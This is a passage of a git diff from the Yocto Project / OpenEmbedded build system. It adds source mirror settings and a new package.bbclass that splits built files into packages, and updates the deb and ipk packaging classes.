+gitsm://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+hg://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+bzr://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+p4://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+osc://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+https?://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+ftp://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+npm://.*/?.* http://downloads.yoctoproject.org/mirror/sources/ \
+cvs://.*/.* http://sources.openembedded.org/ \
+svn://.*/.* http://sources.openembedded.org/ \
+git://.*/.* http://sources.openembedded.org/ \
+gitsm://.*/.* http://sources.openembedded.org/ \
+hg://.*/.* http://sources.openembedded.org/ \
+bzr://.*/.* http://sources.openembedded.org/ \
+p4://.*/.* http://sources.openembedded.org/ \
+osc://.*/.* http://sources.openembedded.org/ \
+https?://.*/.* http://sources.openembedded.org/ \
+ftp://.*/.* http://sources.openembedded.org/ \
+npm://.*/?.* http://sources.openembedded.org/ \
+${CPAN_MIRROR} https://cpan.metacpan.org/ \
+https?://downloads.yoctoproject.org/releases/uninative/ https://mirrors.kernel.org/yocto/uninative/ \
+https?://downloads.yoctoproject.org/mirror/sources/ https://mirrors.kernel.org/yocto-sources/ \
+"
+
+# Use MIRRORS to provide git repo fallbacks using the https protocol, for cases
+# where git native protocol fetches may fail due to local firewall rules, etc.
+
+MIRRORS += "\
+git://salsa.debian.org/.* git://salsa.debian.org/PATH;protocol=https \
+git://git.gnome.org/.* git://gitlab.gnome.org/GNOME/PATH;protocol=https \
+git://git.infradead.org/.* git://git.infraroot.at/PATH;protocol=https \
+git://.*/.* git://HOST/PATH;protocol=https \
+git://.*/.* git://HOST/git/PATH;protocol=https \
+"
+
+# Switch llvm, glibc and binutils recipes to use shallow clones as they're large and this
+# improves user experience whilst allowing the flexibility of git urls in the recipes
+BB_GIT_SHALLOW:pn-binutils = "1"
+BB_GIT_SHALLOW:pn-binutils-cross-${TARGET_ARCH} = "1"
+BB_GIT_SHALLOW:pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "1"
+BB_GIT_SHALLOW:pn-binutils-cross-testsuite = "1"
+BB_GIT_SHALLOW:pn-binutils-crosssdk-${SDK_SYS} = "1"
+BB_GIT_SHALLOW:pn-binutils-native = "1"
+BB_GIT_SHALLOW:pn-nativesdk-binutils = "1"
+
+BB_GIT_SHALLOW:pn-cross-localedef-native = "1"
+BB_GIT_SHALLOW:pn-glibc = "1"
+BB_GIT_SHALLOW:pn-glibc-tests = "1"
+PREMIRRORS += "git://sourceware.org/git/glibc.git https://downloads.yoctoproject.org/mirror/sources/ \
+ git://sourceware.org/git/binutils-gdb.git https://downloads.yoctoproject.org/mirror/sources/"
+
+BB_GIT_SHALLOW:pn-llvm = "1"
+BB_GIT_SHALLOW:pn-llvm-native = "1"
+BB_GIT_SHALLOW:pn-nativesdk-llvm = "1"
diff --git a/meta/classes-global/package.bbclass b/meta/classes-global/package.bbclass
new file mode 100644
index 0000000000..aa1eb5e901
--- /dev/null
+++ b/meta/classes-global/package.bbclass
@@ -0,0 +1,616 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
+# Packaging process
+#
+# Executive summary: This class iterates over the functions listed in PACKAGEFUNCS
+# Taking D and splitting it up into the packages listed in PACKAGES, placing the
+# resulting output in PKGDEST.
+#
+# There are the following default steps but PACKAGEFUNCS can be extended:
+#
+# a) package_convert_pr_autoinc - convert AUTOINC in PKGV to ${PRSERV_PV_AUTOINC}
+#
+# b) perform_packagecopy - Copy D into PKGD
+#
+# c) package_do_split_locales - Split out the locale files, updates FILES and PACKAGES
+#
+# d) split_and_strip_files - split the files into runtime and debug and strip them.
+# Debug files include debug info split, and associated sources that end up in -dbg packages
+#
+# e) fixup_perms - Fix up permissions in the package before we split it.
+#
+# f) populate_packages - Split the files in PKGD into separate packages in PKGDEST/<pkgname>
+# Also triggers the binary stripping code to put files in -dbg packages.
+#
+# g) package_do_filedeps - Collect perfile run-time dependency metadata
+# The data is stores in FILER{PROVIDES,DEPENDS}_file_pkg variables with
+# a list of affected files in FILER{PROVIDES,DEPENDS}FLIST_pkg
+#
+# h) package_do_shlibs - Look at the shared libraries generated and autotmatically add any
+# dependencies found. Also stores the package name so anyone else using this library
+# knows which package to depend on.
+#
+# i) package_do_pkgconfig - Keep track of which packages need and provide which .pc files
+#
+# j) read_shlibdeps - Reads the stored shlibs information into the metadata
+#
+# k) package_depchains - Adds automatic dependencies to -dbg and -dev packages
+#
+# l) emit_pkgdata - saves the packaging data into PKGDATA_DIR for use in later
+# packaging steps
+
+inherit packagedata
+inherit chrpath
+inherit package_pkgdata
+inherit insane
+
+PKGD = "${WORKDIR}/package"
+PKGDEST = "${WORKDIR}/packages-split"
+
+LOCALE_SECTION ?= ''
+
+ALL_MULTILIB_PACKAGE_ARCHS = "${@all_multilib_tune_values(d, 'PACKAGE_ARCHS')}"
+
+# rpm is used for the per-file dependency identification
+# dwarfsrcfiles is used to determine the list of debug source files
+PACKAGE_DEPENDS += "rpm-native dwarfsrcfiles-native"
+
+# If your postinstall can execute at rootfs creation time rather than on
+# target but depends on a native/cross tool in order to execute, you need to
+# list that tool in PACKAGE_WRITE_DEPS. Target package dependencies belong
+# in the package dependencies as normal, this is just for native/cross support
+# tools at rootfs build time.
+PACKAGE_WRITE_DEPS ??= ""
+
+def legitimize_package_name(s):
+ return oe.package.legitimize_package_name(s)
+
+def do_split_packages(d, root, file_regex, output_pattern, description, postinst=None, recursive=False, hook=None, extra_depends=None, aux_files_pattern=None, postrm=None, allow_dirs=False, prepend=False, match_path=False, aux_files_pattern_verbatim=None, allow_links=False, summary=None):
+ """
+ Used in .bb files to split up dynamically generated subpackages of a
+ given package, usually plugins or modules.
+
+ Arguments:
+ root -- the path in which to search
+ file_regex -- regular expression to match searched files. Use
+ parentheses () to mark the part of this expression
+ that should be used to derive the module name (to be
+ substituted where %s is used in other function
+ arguments as noted below)
+ output_pattern -- pattern to use for the package names. Must include %s.
+ description -- description to set for each package. Must include %s.
+ postinst -- postinstall script to use for all packages (as a
+ string)
+ recursive -- True to perform a recursive search - default False
+ hook -- a hook function to be called for every match. The
+ function will be called with the following arguments
+ (in the order listed):
+ f: full path to the file/directory match
+ pkg: the package name
+ file_regex: as above
+ output_pattern: as above
+ modulename: the module name derived using file_regex
+ extra_depends -- extra runtime dependencies (RDEPENDS) to be set for
+ all packages. The default value of None causes a
+ dependency on the main package (${PN}) - if you do
+ not want this, pass '' for this parameter.
+ aux_files_pattern -- extra item(s) to be added to FILES for each
+ package. Can be a single string item or a list of
+ strings for multiple items. Must include %s.
+ postrm -- postrm script to use for all packages (as a string)
+ allow_dirs -- True allow directories to be matched - default False
+ prepend -- if True, prepend created packages to PACKAGES instead
+ of the default False which appends them
+ match_path -- match file_regex on the whole relative path to the
+ root rather than just the file name
+ aux_files_pattern_verbatim -- extra item(s) to be added to FILES for
+ each package, using the actual derived module name
+ rather than converting it to something legal for a
+ package name. Can be a single string item or a list
+ of strings for multiple items. Must include %s.
+ allow_links -- True to allow symlinks to be matched - default False
+ summary -- Summary to set for each package. Must include %s;
+ defaults to description if not set.
+
+ """
+
+ dvar = d.getVar('PKGD')
+ root = d.expand(root)
+ output_pattern = d.expand(output_pattern)
+ extra_depends = d.expand(extra_depends)
+
+ # If the root directory doesn't exist, don't error out later but silently do
+ # no splitting.
+ if not os.path.exists(dvar + root):
+ return []
+
+ ml = d.getVar("MLPREFIX")
+ if ml:
+ if not output_pattern.startswith(ml):
+ output_pattern = ml + output_pattern
+
+ newdeps = []
+ for dep in (extra_depends or "").split():
+ if dep.startswith(ml):
+ newdeps.append(dep)
+ else:
+ newdeps.append(ml + dep)
+ if newdeps:
+ extra_depends = " ".join(newdeps)
+
+
+ packages = d.getVar('PACKAGES').split()
+ split_packages = set()
+
+ if postinst:
+ postinst = '#!/bin/sh\n' + postinst + '\n'
+ if postrm:
+ postrm = '#!/bin/sh\n' + postrm + '\n'
+ if not recursive:
+ objs = os.listdir(dvar + root)
+ else:
+ objs = []
+ for walkroot, dirs, files in os.walk(dvar + root):
+ for file in files:
+ relpath = os.path.join(walkroot, file).replace(dvar + root + '/', '', 1)
+ if relpath:
+ objs.append(relpath)
+
+ if extra_depends == None:
+ extra_depends = d.getVar("PN")
+
+ if not summary:
+ summary = description
+
+ for o in sorted(objs):
+ import re, stat
+ if match_path:
+ m = re.match(file_regex, o)
+ else:
+ m = re.match(file_regex, os.path.basename(o))
+
+ if not m:
+ continue
+ f = os.path.join(dvar + root, o)
+ mode = os.lstat(f).st_mode
+ if not (stat.S_ISREG(mode) or (allow_links and stat.S_ISLNK(mode)) or (allow_dirs and stat.S_ISDIR(mode))):
+ continue
+ on = oe.package.legitimize_package_name(m.group(1))
+ pkg = output_pattern % on
+ split_packages.add(pkg)
+ if not pkg in packages:
+ if prepend:
+ packages = [pkg] + packages
+ else:
+ packages.append(pkg)
+ oldfiles = d.getVar('FILES:' + pkg)
+ newfile = os.path.join(root, o)
+ # These names will be passed through glob() so if the filename actually
+ # contains * or ? (rare, but possible) we need to handle that specially
+ newfile = newfile.replace('*', '[*]')
+ newfile = newfile.replace('?', '[?]')
+ if not oldfiles:
+ the_files = [newfile]
+ if aux_files_pattern:
+ if type(aux_files_pattern) is list:
+ for fp in aux_files_pattern:
+ the_files.append(fp % on)
+ else:
+ the_files.append(aux_files_pattern % on)
+ if aux_files_pattern_verbatim:
+ if type(aux_files_pattern_verbatim) is list:
+ for fp in aux_files_pattern_verbatim:
+ the_files.append(fp % m.group(1))
+ else:
+ the_files.append(aux_files_pattern_verbatim % m.group(1))
+ d.setVar('FILES:' + pkg, " ".join(the_files))
+ else:
+ d.setVar('FILES:' + pkg, oldfiles + " " + newfile)
+ if extra_depends != '':
+ d.appendVar('RDEPENDS:' + pkg, ' ' + extra_depends)
+ if not d.getVar('DESCRIPTION:' + pkg):
+ d.setVar('DESCRIPTION:' + pkg, description % on)
+ if not d.getVar('SUMMARY:' + pkg):
+ d.setVar('SUMMARY:' + pkg, summary % on)
+ if postinst:
+ d.setVar('pkg_postinst:' + pkg, postinst)
+ if postrm:
+ d.setVar('pkg_postrm:' + pkg, postrm)
+ if callable(hook):
+ hook(f, pkg, file_regex, output_pattern, m.group(1))
+
+ d.setVar('PACKAGES', ' '.join(packages))
+ return list(split_packages)
+
+PACKAGE_DEPENDS += "file-native"
+
+python () {
+ if d.getVar('PACKAGES') != '':
+ deps = ""
+ for dep in (d.getVar('PACKAGE_DEPENDS') or "").split():
+ deps += " %s:do_populate_sysroot" % dep
+ if bb.utils.contains('DISTRO_FEATURES', 'minidebuginfo', True, False, d):
+ deps += ' xz-native:do_populate_sysroot'
+ d.appendVarFlag('do_package', 'depends', deps)
+
+ # shlibs requires any DEPENDS to have already packaged for the *.list files
+ d.appendVarFlag('do_package', 'deptask', " do_packagedata")
+}
+
+
+PRSERV_ACTIVE = "${@bool(d.getVar("PRSERV_HOST"))}"
+PRSERV_ACTIVE[vardepvalue] = "${PRSERV_ACTIVE}"
+package_get_auto_pr[vardepsexclude] = "BB_TASKDEPDATA"
+package_get_auto_pr[vardeps] += "PRSERV_ACTIVE"
+python package_get_auto_pr() {
+ import oe.prservice
+
+ def get_do_package_hash(pn):
+ if d.getVar("BB_RUNTASK") != "do_package":
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ for dep in taskdepdata:
+ if taskdepdata[dep][1] == "do_package" and taskdepdata[dep][0] == pn:
+ return taskdepdata[dep][6]
+ return None
+
+ # Support per recipe PRSERV_HOST
+ pn = d.getVar('PN')
+ host = d.getVar("PRSERV_HOST_" + pn)
+ if not (host is None):
+ d.setVar("PRSERV_HOST", host)
+
+ pkgv = d.getVar("PKGV")
+
+ # PR Server not active, handle AUTOINC
+ if not d.getVar('PRSERV_HOST'):
+ d.setVar("PRSERV_PV_AUTOINC", "0")
+ return
+
+ auto_pr = None
+ pv = d.getVar("PV")
+ version = d.getVar("PRAUTOINX")
+ pkgarch = d.getVar("PACKAGE_ARCH")
+ checksum = get_do_package_hash(pn)
+
+ # If do_package isn't in the dependencies, we can't get the checksum...
+ if not checksum:
+ bb.warn('Task %s requested do_package unihash, but it was not available.' % d.getVar('BB_RUNTASK'))
+ #taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ #for dep in taskdepdata:
+ # bb.warn('%s:%s = %s' % (taskdepdata[dep][0], taskdepdata[dep][1], taskdepdata[dep][6]))
+ return
+
+ if d.getVar('PRSERV_LOCKDOWN'):
+ auto_pr = d.getVar('PRAUTO_' + version + '_' + pkgarch) or d.getVar('PRAUTO_' + version) or None
+ if auto_pr is None:
+ bb.fatal("Can NOT get PRAUTO from lockdown exported file")
+ d.setVar('PRAUTO',str(auto_pr))
+ return
+
+ try:
+ conn = oe.prservice.prserv_make_conn(d)
+ if conn is not None:
+ if "AUTOINC" in pkgv:
+ srcpv = bb.fetch2.get_srcrev(d)
+ base_ver = "AUTOINC-%s" % version[:version.find(srcpv)]
+ value = conn.getPR(base_ver, pkgarch, srcpv)
+ d.setVar("PRSERV_PV_AUTOINC", str(value))
+
+ auto_pr = conn.getPR(version, pkgarch, checksum)
+ conn.close()
+ except Exception as e:
+ bb.fatal("Can NOT get PRAUTO, exception %s" % str(e))
+ if auto_pr is None:
+ bb.fatal("Can NOT get PRAUTO from remote PR service")
+ d.setVar('PRAUTO',str(auto_pr))
+}
+
+#
+# Package functions suitable for inclusion in PACKAGEFUNCS
+#
+
+python package_setup_pkgv() {
+ pkgv = d.getVar("PKGV")
+ # Expand SRCPV into PKGV if not present
+ srcpv = bb.fetch.get_pkgv_string(d)
+ if srcpv and "+" in pkgv:
+ d.appendVar("PKGV", srcpv)
+ pkgv = d.getVar("PKGV")
+
+ # Adjust pkgv as necessary...
+ if 'AUTOINC' in pkgv:
+ d.setVar("PKGV", pkgv.replace("AUTOINC", "${PRSERV_PV_AUTOINC}"))
+}
+
+
+python package_convert_pr_autoinc() {
+ # Change PRSERV_PV_AUTOINC and EXTENDPRAUTO usage to special values
+ d.setVar('PRSERV_PV_AUTOINC', '@PRSERV_PV_AUTOINC@')
+ d.setVar('EXTENDPRAUTO', '@EXTENDPRAUTO@')
+}
+
+LOCALEBASEPN ??= "${PN}"
+LOCALE_PATHS ?= "${datadir}/locale"
+
+python package_do_split_locales() {
+ oe.package.split_locales(d)
+}
+
+python perform_packagecopy () {
+ import subprocess
+ import shutil
+
+ dest = d.getVar('D')
+ dvar = d.getVar('PKGD')
+
+ # Start by package population by taking a copy of the installed
+ # files to operate on
+ # Preserve sparse files and hard links
+ cmd = 'tar --exclude=./sysroot-only -cf - -C %s -p -S . | tar -xf - -C %s' % (dest, dvar)
+ subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
+
+ # replace RPATHs for the nativesdk binaries, to make them relocatable
+ if bb.data.inherits_class('nativesdk', d) or bb.data.inherits_class('cross-canadian', d):
+ rpath_replace (dvar, d)
+}
+perform_packagecopy[cleandirs] = "${PKGD}"
+perform_packagecopy[dirs] = "${PKGD}"
+
+python populate_packages () {
+ oe.package.populate_packages(d)
+}
+populate_packages[dirs] = "${D}"
+
+python package_fixsymlinks () {
+ oe.package.process_fixsymlinks(pkgfiles, d)
+}
+
+python package_package_name_hook() {
+ """
+ A package_name_hook function can be used to rewrite the package names by
+ changing PKG. For an example, see debian.bbclass.
+ """
+ pass
+}
+
+EXPORT_FUNCTIONS package_name_hook
+
+
+PKGDESTWORK = "${WORKDIR}/pkgdata"
+
+PKGDATA_VARS = "PN PE PV PR PKGE PKGV PKGR LICENSE DESCRIPTION SUMMARY RDEPENDS RPROVIDES RRECOMMENDS RSUGGESTS RREPLACES RCONFLICTS SECTION PKG ALLOW_EMPTY FILES CONFFILES FILES_INFO PACKAGE_ADD_METADATA pkg_postinst pkg_postrm pkg_preinst pkg_prerm"
+
+python emit_pkgdata() {
+ import oe.packagedata
+ oe.packagedata.emit_pkgdata(pkgfiles, d)
+}
+emit_pkgdata[dirs] = "${PKGDESTWORK}/runtime ${PKGDESTWORK}/runtime-reverse ${PKGDESTWORK}/runtime-rprovides ${PKGDESTWORK}/extended"
+
+ldconfig_postinst_fragment() {
+if [ x"$D" = "x" ]; then
+ if [ -x /sbin/ldconfig ]; then /sbin/ldconfig ; fi
+fi
+}
+
+RPMDEPS = "${STAGING_LIBDIR_NATIVE}/rpm/rpmdeps --alldeps --define '__font_provides %{nil}'"
+
+python package_do_filedeps() {
+ oe.package.process_filedeps(pkgfiles, d)
+}
+
+SHLIBSDIRS = "${WORKDIR_PKGDATA}/${MLPREFIX}shlibs2"
+SHLIBSWORKDIR = "${PKGDESTWORK}/${MLPREFIX}shlibs2"
+
+python package_do_shlibs() {
+ oe.package.process_shlibs(pkgfiles, d)
+}
+
+python package_do_pkgconfig () {
+ oe.package.process_pkgconfig(pkgfiles, d)
+}
+
+python read_shlibdeps () {
+ pkglibdeps = oe.package.read_libdep_files(d)
+
+ packages = d.getVar('PACKAGES').split()
+ for pkg in packages:
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
+ for dep in sorted(pkglibdeps[pkg]):
+ # Add the dep if it's not already there, or if no comparison is set
+ if dep not in rdepends:
+ rdepends[dep] = []
+ for v in pkglibdeps[pkg][dep]:
+ if v not in rdepends[dep]:
+ rdepends[dep].append(v)
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+}
+
+python package_depchains() {
+ oe.package.process_depchains(pkgfiles, d)
+}
+
+# Since bitbake can't determine which variables are accessed during package
+# iteration, we need to list them here:
+PACKAGEVARS = "FILES RDEPENDS RRECOMMENDS SUMMARY DESCRIPTION RSUGGESTS RPROVIDES RCONFLICTS PKG ALLOW_EMPTY pkg_postinst pkg_postrm pkg_postinst_ontarget INITSCRIPT_NAME INITSCRIPT_PARAMS DEBIAN_NOAUTONAME ALTERNATIVE PKGE PKGV PKGR USERADD_PARAM GROUPADD_PARAM CONFFILES SYSTEMD_SERVICE LICENSE SECTION pkg_preinst pkg_prerm RREPLACES GROUPMEMS_PARAM SYSTEMD_AUTO_ENABLE SKIP_FILEDEPS PRIVATE_LIBS PACKAGE_ADD_METADATA"
+
+def gen_packagevar(d, pkgvars="PACKAGEVARS"):
+ ret = []
+ pkgs = (d.getVar("PACKAGES") or "").split()
+ vars = (d.getVar(pkgvars) or "").split()
+ for v in vars:
+ ret.append(v)
+ for p in pkgs:
+ for v in vars:
+ ret.append(v + ":" + p)
+
+ # Ensure that changes to INCOMPATIBLE_LICENSE re-run do_package for
+ # affected recipes.
+ ret.append('_exclude_incompatible-%s' % p)
+ return " ".join(ret)
+
+
+# Functions for setting up PKGD
+PACKAGE_PREPROCESS_FUNCS ?= ""
+# Functions which split PKGD up into separate packages
+PACKAGESPLITFUNCS ?= " \
+ package_do_split_locales \
+ populate_packages"
+# Functions which process metadata based on split packages
+PACKAGEFUNCS += " \
+ package_fixsymlinks \
+ package_name_hook \
+ package_do_filedeps \
+ package_do_shlibs \
+ package_do_pkgconfig \
+ read_shlibdeps \
+ package_depchains \
+ emit_pkgdata"
+
+python do_package () {
+ # Change the following version to cause sstate to invalidate the package
+ # cache. This is useful if an item this class depends on changes in a
+ # way that the output of this class changes. rpmdeps is a good example
+ # as any change to rpmdeps requires this to be rerun.
+ # PACKAGE_BBCLASS_VERSION = "5"
+
+ # Init cachedpath
+ global cpath
+ cpath = oe.cachedpath.CachedPath()
+
+ ###########################################################################
+ # Sanity test the setup
+ ###########################################################################
+
+ packages = (d.getVar('PACKAGES') or "").split()
+ if len(packages) < 1:
+ bb.debug(1, "No packages to build, skipping do_package")
+ return
+
+ workdir = d.getVar('WORKDIR')
+ outdir = d.getVar('DEPLOY_DIR')
+ dest = d.getVar('D')
+ dvar = d.getVar('PKGD')
+ pn = d.getVar('PN')
+
+ if not workdir or not outdir or not dest or not dvar or not pn:
+ msg = "WORKDIR, DEPLOY_DIR, D, PN and PKGD all must be defined, unable to package"
+ oe.qa.handle_error("var-undefined", msg, d)
+ return
+
+ bb.build.exec_func("package_setup_pkgv", d)
+ bb.build.exec_func("package_convert_pr_autoinc", d)
+
+ # Check for conflict between renamed packages and existing ones
+ # for each package in PACKAGES, check if it will be renamed to an existing one
+ for p in packages:
+ rename = d.getVar('PKG:%s' % p)
+ if rename and rename in packages:
+ bb.fatal('package "%s" is renamed to "%s" using PKG:%s, but package name already exists' % (p, rename, p))
+
+ ###########################################################################
+ # Optimisations
+ ###########################################################################
+
+ # Continually expanding complex expressions is inefficient, particularly
+ # when we write to the datastore and invalidate the expansion cache. This
+ # code pre-expands some frequently used variables
+
+ def expandVar(x, d):
+ d.setVar(x, d.getVar(x))
+
+ for x in 'PN', 'PV', 'BPN', 'TARGET_SYS', 'EXTENDPRAUTO':
+ expandVar(x, d)
+
+ ###########################################################################
+ # Setup PKGD (from D)
+ ###########################################################################
+
+ bb.build.exec_func("package_prepare_pkgdata", d)
+ bb.build.exec_func("perform_packagecopy", d)
+ for f in (d.getVar('PACKAGE_PREPROCESS_FUNCS') or '').split():
+ bb.build.exec_func(f, d)
+ oe.package.process_split_and_strip_files(d)
+ oe.package.fixup_perms(d)
+
+ ###########################################################################
+ # Split up PKGD into PKGDEST
+ ###########################################################################
+
+ cpath = oe.cachedpath.CachedPath()
+
+ for f in (d.getVar('PACKAGESPLITFUNCS') or '').split():
+ bb.build.exec_func(f, d)
+
+ ###########################################################################
+ # Process PKGDEST
+ ###########################################################################
+
+ # Build global list of files in each split package
+ global pkgfiles
+ pkgfiles = {}
+ packages = d.getVar('PACKAGES').split()
+ pkgdest = d.getVar('PKGDEST')
+ for pkg in packages:
+ pkgfiles[pkg] = []
+ for walkroot, dirs, files in cpath.walk(pkgdest + "/" + pkg):
+ for file in files:
+ pkgfiles[pkg].append(walkroot + os.sep + file)
+
+ for f in (d.getVar('PACKAGEFUNCS') or '').split():
+ bb.build.exec_func(f, d)
+
+ oe.qa.exit_if_errors(d)
+}
+
+do_package[dirs] = "${SHLIBSWORKDIR} ${D}"
+do_package[vardeps] += "${PACKAGE_PREPROCESS_FUNCS} ${PACKAGESPLITFUNCS} ${PACKAGEFUNCS} ${@gen_packagevar(d)}"
+addtask package after do_install
+
+SSTATETASKS += "do_package"
+do_package[cleandirs] = "${PKGDEST} ${PKGDESTWORK}"
+do_package[sstate-plaindirs] = "${PKGD} ${PKGDEST} ${PKGDESTWORK}"
+do_package_setscene[dirs] = "${STAGING_DIR}"
+
+python do_package_setscene () {
+ sstate_setscene(d)
+}
+addtask do_package_setscene
+
+# Copy from PKGDESTWORK to tempdirectory as tempdirectory can be cleaned at both
+# do_package_setscene and do_packagedata_setscene leading to races
+python do_packagedata () {
+ bb.build.exec_func("package_setup_pkgv", d)
+ bb.build.exec_func("package_get_auto_pr", d)
+
+ src = d.expand("${PKGDESTWORK}")
+ dest = d.expand("${WORKDIR}/pkgdata-pdata-input")
+ oe.path.copyhardlinktree(src, dest)
+
+ bb.build.exec_func("packagedata_translate_pr_autoinc", d)
+}
+do_packagedata[cleandirs] += "${WORKDIR}/pkgdata-pdata-input"
+
+# Translate the EXTENDPRAUTO and AUTOINC to the final values
+packagedata_translate_pr_autoinc() {
+ find ${WORKDIR}/pkgdata-pdata-input -type f | xargs --no-run-if-empty \
+ sed -e 's,@PRSERV_PV_AUTOINC@,${PRSERV_PV_AUTOINC},g' \
+ -e 's,@EXTENDPRAUTO@,${EXTENDPRAUTO},g' -i
+}
+
+addtask packagedata before do_build after do_package
+
+SSTATETASKS += "do_packagedata"
+do_packagedata[sstate-inputdirs] = "${WORKDIR}/pkgdata-pdata-input"
+do_packagedata[sstate-outputdirs] = "${PKGDATA_DIR}"
+do_packagedata[stamp-extra-info] = "${MACHINE_ARCH}"
+
+python do_packagedata_setscene () {
+ sstate_setscene(d)
+}
+addtask do_packagedata_setscene
+
diff --git a/meta/classes/package_deb.bbclass b/meta/classes-global/package_deb.bbclass
index cb723fc1d6..1f10b15a00 100644
--- a/meta/classes/package_deb.bbclass
+++ b/meta/classes-global/package_deb.bbclass
@@ -1,6 +1,8 @@
#
# Copyright 2006-2008 OpenedHand Ltd.
#
+# SPDX-License-Identifier: MIT
+#
inherit package
@@ -81,7 +83,7 @@ def deb_write_pkg(pkg, d):
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -167,12 +169,12 @@ def deb_write_pkg(pkg, d):
# more fields
- custom_fields_chunk = get_package_additional_metadata("deb", localdata)
+ custom_fields_chunk = oe.packagedata.get_package_additional_metadata("deb", localdata)
if custom_fields_chunk:
ctrlfile.write(custom_fields_chunk)
ctrlfile.write("\n")
- mapping_rename_hook(localdata)
+ oe.packagedata.mapping_rename_hook(localdata)
def debian_cmp_remap(var):
# dpkg does not allow for '(', ')' or ':' in a dependency name
@@ -182,7 +184,8 @@ def deb_write_pkg(pkg, d):
# '<' = less or equal
# '>' = greater or equal
# adjust these to the '<<' and '>>' equivalents
- #
+ # Also, "=" specifiers only work if they have the PR in, so 1.2.3 != 1.2.3-r0
+ # so to avoid issues, map this to ">= 1.2.3 << 1.2.3.0"
for dep in list(var.keys()):
if '(' in dep or '/' in dep:
newdep = re.sub(r'[(:)/]', '__', dep)
@@ -197,6 +200,10 @@ def deb_write_pkg(pkg, d):
var[dep][i] = var[dep][i].replace("< ", "<< ")
elif (v or "").startswith("> "):
var[dep][i] = var[dep][i].replace("> ", ">> ")
+ elif (v or "").startswith("= ") and "-r" not in v:
+ ver = var[dep][i].replace("= ", "")
+ var[dep][i] = var[dep][i].replace("= ", ">= ")
+ var[dep].append("<< " + ver + ".0")
rdepends = bb.utils.explode_dep_versions2(localdata.getVar("RDEPENDS") or "")
debian_cmp_remap(rdepends)
@@ -262,7 +269,7 @@ def deb_write_pkg(pkg, d):
scriptfile.close()
os.chmod(os.path.join(controldir, script), 0o755)
- conffiles_str = ' '.join(get_conffiles(pkg, d))
+ conffiles_str = ' '.join(oe.package.get_conffiles(pkg, d))
if conffiles_str:
conffiles = open(os.path.join(controldir, 'conffiles'), 'w')
for f in conffiles_str.split():
@@ -306,6 +313,10 @@ python () {
deps = ' dpkg-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot'
d.appendVarFlag('do_package_write_deb', 'depends', deps)
d.setVarFlag('do_package_write_deb', 'fakeroot', "1")
+
+ # Needed to ensure PKG_xxx renaming of dependency packages works
+ d.setVarFlag('do_package_write_deb', 'deptask', "do_packagedata")
+ d.setVarFlag('do_package_write_deb', 'rdeptask', "do_packagedata")
}
python do_package_write_deb () {
@@ -314,12 +325,9 @@ python do_package_write_deb () {
}
do_package_write_deb[dirs] = "${PKGWRITEDIRDEB}"
do_package_write_deb[cleandirs] = "${PKGWRITEDIRDEB}"
-do_package_write_deb[umask] = "022"
do_package_write_deb[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_deb after do_packagedata do_package
-
+addtask package_write_deb after do_packagedata do_package do_deploy_source_date_epoch before do_build
+do_build[rdeptask] += "do_package_write_deb"
PACKAGEINDEXDEPS += "dpkg-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "apt-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_deb"
diff --git a/meta/classes/package_ipk.bbclass b/meta/classes-global/package_ipk.bbclass
index 79cb36c513..209568ae5f 100644
--- a/meta/classes/package_ipk.bbclass
+++ b/meta/classes-global/package_ipk.bbclass
@@ -1,14 +1,21 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit package
IMAGE_PKGTYPE ?= "ipk"
IPKGCONF_TARGET = "${WORKDIR}/opkg.conf"
IPKGCONF_SDK = "${WORKDIR}/opkg-sdk.conf"
+IPKGCONF_SDK_TARGET = "${WORKDIR}/opkg-sdk-target.conf"
PKGWRITEDIRIPK = "${WORKDIR}/deploy-ipks"
# Program to be used to build opkg packages
-OPKGBUILDCMD ??= 'opkg-build -Z xz -a "${XZ_DEFAULTS}"'
+OPKGBUILDCMD ??= 'opkg-build -Z zstd -a "${ZSTD_DEFAULTS}"'
OPKG_ARGS += "--force_postinstall --prefer-arch-to-version"
OPKG_ARGS += "${@['', '--no-install-recommends'][d.getVar("NO_RECOMMENDATIONS") == "1"]}"
@@ -40,6 +47,10 @@ python do_package_ipk () {
do_package_ipk[vardeps] += "ipk_write_pkg"
do_package_ipk[vardepsexclude] = "BB_NUMBER_THREADS"
+# FILE isn't included by default but we want the recipe to change if basename() changes
+IPK_RECIPE_FILE = "${@os.path.basename(d.getVar('FILE'))}"
+IPK_RECIPE_FILE[vardepvalue] = "${IPK_RECIPE_FILE}"
+
def ipk_write_pkg(pkg, d):
import re, copy
import subprocess
@@ -55,7 +66,7 @@ def ipk_write_pkg(pkg, d):
outdir = d.getVar('PKGWRITEDIRIPK')
pkgdest = d.getVar('PKGDEST')
- recipesource = os.path.basename(d.getVar('FILE'))
+ recipesource = d.getVar('IPK_RECIPE_FILE')
localdata = bb.data.createCopy(d)
root = "%s/%s" % (pkgdest, pkg)
@@ -64,7 +75,7 @@ def ipk_write_pkg(pkg, d):
try:
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
